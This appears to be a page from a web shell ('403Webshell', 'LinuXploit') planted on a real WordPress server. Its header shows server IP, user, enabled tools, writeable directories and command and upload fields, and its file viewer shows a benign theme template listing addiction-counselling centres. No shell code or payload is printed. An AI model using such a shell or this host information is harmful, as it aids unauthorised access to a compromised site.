403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web20/web/wp-content/themes/drogentest-online/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web20/web/wp-content/themes/drogentest-online/suchtberatung-archive.php
<?php
/**
 * Suchtberatung – Archiv (Bundesland- bzw. Stadt-Ansicht).
 *
 * Geladen via template_include für:
 *   /suchtberatung/bundesland/{bl}/
 *   /suchtberatung/bundesland/{bl}/{stadt}/
 *
 * @package drogentest-online
 */

$bl_slug   = sanitize_title( get_query_var( 'dgt_sb_bl' ) );
$stadt_arg = sanitize_title( get_query_var( 'dgt_sb_stadt' ) );
$bl_name   = dgt_sb_bundesland_name( $bl_slug );

// Ungültiges Bundesland → 404.
if ( ! $bl_name ) {
	global $wp_query;
	$wp_query->set_404();
	status_header( 404 );
	get_template_part( 404 );
	return;
}

// Stadt-Slug zurück auf echten Stadtnamen mappen.
$stadt_name = '';
if ( $stadt_arg ) {
	foreach ( dgt_sb_cities( $bl_slug ) as $city ) {
		if ( sanitize_title( $city['city'] ) === $stadt_arg ) {
			$stadt_name = $city['city'];
			break;
		}
	}
}

// Bundesland-Ansicht: alle Einträge laden (für die Live-Suche). Stadt-Ansicht: paginiert.
$is_bl_view = ( '' === $stadt_name );
$paged      = max( 1, isset( $_GET['seite'] ) ? (int) $_GET['seite'] : 1 ); // phpcs:ignore
$res        = dgt_sb_query(
	array(
		'bundesland' => $bl_slug,
		'stadt'      => $stadt_name,
		'paged'      => $is_bl_view ? 1 : $paged,
		'per_page'   => $is_bl_view ? 2000 : 24,
	)
);

$page_title = $stadt_name
	? 'Suchtberatung in ' . $stadt_name
	: 'Suchtberatung in ' . $bl_name;

// SEO-Title für <title> (title-tag-Support).
$dgt_sb_title = $stadt_name
	? dgt_sb_title_stadt( $stadt_name, $bl_name )
	: dgt_sb_title_bundesland( $bl_name );
add_filter(
	'document_title_parts',
	function ( $parts ) use ( $dgt_sb_title ) {
		$parts['title'] = $dgt_sb_title;
		return $parts;
	}
);

get_header();
?>

<header class="dgt-pagehead dgt-pagehead--hasimage">
	<div class="dgt-pagehead-text">
		<?php
		$sb_bc = array(
			array( 'label' => 'Suchtberatung', 'url' => dgt_sb_base_url() ),
		);
		if ( $stadt_name ) {
			$sb_bc[] = array( 'label' => $bl_name, 'url' => dgt_sb_bundesland_url( $bl_slug ) );
		}
		dgt_breadcrumb( $stadt_name ? $stadt_name : $bl_name, $sb_bc );
		?>
		<p class="dgt-eyebrow">Hilfe &amp; Beratung</p>
		<h1 class="dgt-pagehead-title"><?php echo esc_html( $page_title ); ?></h1>
		<p class="dgt-pagehead-lead">
			<?php echo esc_html( number_format_i18n( $res['total'] ) ); ?>
			<?php echo esc_html( _n( 'Beratungsstelle', 'Beratungsstellen', $res['total'], 'drogentest-online' ) ); ?>
			für Sucht- und Drogenfragen <?php echo $stadt_name ? 'in ' . esc_html( $stadt_name ) : 'in ' . esc_html( $bl_name ); ?>
			&ndash; vertraulich und kostenlos.
		</p>
	</div>
	<?php echo dgt_sb_hero_image(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
</header>

<section class="dgt-content">

	<?php if ( $is_bl_view ) : ?>
		<!-- Live-Suche (filtert die Liste sofort beim Tippen) -->
		<div class="dgt-sb-live" data-dgt-livesearch>
			<div class="dgt-sb-live-field">
				<svg class="dgt-sb-live-ico" width="20" height="20" viewBox="0 0 24 24" fill="none" aria-hidden="true"><circle cx="11" cy="11" r="7" stroke="#8b97a6" stroke-width="1.8"/><path d="m20 20-3.5-3.5" stroke="#8b97a6" stroke-width="1.8" stroke-linecap="round"/></svg>
				<input type="search" class="dgt-sb-live-input" placeholder="In <?php echo esc_attr( $bl_name ); ?> filtern: Ort, PLZ oder Name &hellip;" aria-label="Beratungsstellen filtern" autocomplete="off">
			</div>
			<p class="dgt-sb-live-count" aria-live="polite"></p>
		</div>
	<?php endif; ?>

	<?php if ( ! $stadt_name ) : ?>
		<?php $cities = dgt_sb_cities( $bl_slug ); ?>
		<?php if ( count( $cities ) > 1 ) : ?>
			<div class="dgt-sb-cities">
				<span class="dgt-sb-cities-label">Stadt wählen:</span>
				<div class="dgt-sb-chips">
					<?php foreach ( $cities as $city ) : ?>
						<a class="dgt-sb-chip" href="<?php echo esc_url( dgt_sb_stadt_url( $bl_slug, $city['city'] ) ); ?>" title="<?php echo esc_attr( dgt_sb_title_stadt( $city['city'], $bl_name ) ); ?>">
							<?php echo esc_html( $city['city'] ); ?> <span><?php echo esc_html( $city['c'] ); ?></span>
						</a>
					<?php endforeach; ?>
				</div>
			</div>
		<?php endif; ?>
	<?php endif; ?>

	<?php
	dgt_sb_render_list( $res['items'] );

	// Pagination nur in der Stadt-Ansicht; die Bundesland-Ansicht nutzt die Live-Suche.
	if ( ! $is_bl_view ) {
		dgt_sb_render_pagination( $res, dgt_sb_stadt_url( $bl_slug, $stadt_name ) );
	}
	?>

	<div class="dgt-sb-xlink-teaser">
		<div class="dgt-sb-xlink-icon">
			<svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.8" stroke-linecap="round" stroke-linejoin="round" aria-hidden="true"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
		</div>
		<div class="dgt-sb-xlink-body">
			<h3 class="dgt-sb-xlink-title">Polizeimeldungen in <?php echo esc_html( $bl_name ); ?></h3>
			<p class="dgt-sb-xlink-text">Tagesaktuelle Pressemitteilungen der Polizei zu Alkohol und Drogen am Steuer in <?php echo esc_html( $bl_name ); ?> &ndash; KI-analysiert im Verkehrsmonitor.</p>
		</div>
		<a class="dgt-sb-xlink-btn" href="<?php echo esc_url( home_url( '/verkehrsmonitor/' . $bl_slug . '/' ) ); ?>" title="Polizeimeldungen zu Alkohol und Drogen am Steuer in <?php echo esc_attr( $bl_name ); ?>">
			Meldungen ansehen
			<svg width="16" height="12" viewBox="0 0 18 14" aria-hidden="true"><path d="M1 7h15m0 0-5.5-5.5M16 7l-5.5 5.5" stroke="currentColor" stroke-width="1.8" fill="none" stroke-linecap="round" stroke-linejoin="round"/></svg>
		</a>
	</div>

	<div class="dgt-sb-cta">
		<p>Fehlt hier eine Beratungsstelle?
			<span class="dgt-sb-cta-sub">Schlage eine Einrichtung vor &ndash; wir prüfen und ergänzen sie.</span>
		</p>
		<?php echo dgt_sb_suggest_button(); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
	</div>

	<p class="dgt-sb-back"><a class="dgt-readmore" href="<?php echo esc_url( dgt_sb_base_url() ); ?>" title="Alle Bundesländer anzeigen">&larr; Alle Bundesländer</a></p>

</section>

<?php
// Lokalisierte Multi-Drogentest-Empfehlungen (Stadt oder Bundesland).
echo dgt_sb_substance_promotions( $stadt_name ? $stadt_name : $bl_name, $stadt_name ? $bl_name : '' ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
?>

<?php
// JSON-LD: BreadcrumbList + ItemList für Suchtberatungs-Archivseiten.
$sb_breadcrumbs = array(
	array( 'name' => 'Start',         'url' => home_url( '/' ) ),
	array( 'name' => 'Suchtberatung', 'url' => dgt_sb_base_url() ),
);
if ( $stadt_name ) {
	$sb_breadcrumbs[] = array( 'name' => $bl_name,    'url' => dgt_sb_bundesland_url( $bl_slug ) );
	$sb_breadcrumbs[] = array( 'name' => $stadt_name, 'url' => dgt_sb_stadt_url( $bl_slug, $stadt_name ) );
} else {
	$sb_breadcrumbs[] = array( 'name' => $bl_name, 'url' => dgt_sb_bundesland_url( $bl_slug ) );
}

$sb_bc_items = array();
foreach ( $sb_breadcrumbs as $i => $bc ) {
	$sb_bc_items[] = array(
		'@type'    => 'ListItem',
		'position' => $i + 1,
		'name'     => $bc['name'],
		'item'     => $bc['url'],
	);
}

$sb_list_items = array();
$sb_max        = min( count( $res['items'] ), 50 );
for ( $i = 0; $i < $sb_max; $i++ ) {
	$it = $res['items'][ $i ];
	$sb_list_items[] = array(
		'@type'    => 'ListItem',
		'position' => $i + 1,
		'url'      => dgt_sb_single_url( $it['slug'], $it['bundesland'] ),
		'name'     => $it['name'],
	);
}

$sb_schema = array(
	array(
		'@context'        => 'https://schema.org',
		'@type'           => 'BreadcrumbList',
		'itemListElement' => $sb_bc_items,
	),
	array(
		'@context'        => 'https://schema.org',
		'@type'           => 'ItemList',
		'name'            => $page_title,
		'description'     => number_format_i18n( $res['total'] ) . ' Beratungsstellen für Sucht- und Drogenfragen ' . ( $stadt_name ? 'in ' . $stadt_name : 'in ' . $bl_name ),
		'numberOfItems'   => $res['total'],
		'itemListElement' => $sb_list_items,
	),
);

foreach ( $sb_schema as $schema_block ) {
	echo '<script type="application/ld+json">' . wp_json_encode( $schema_block, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT ) . '</script>' . "\n";
}
?>

<?php
get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit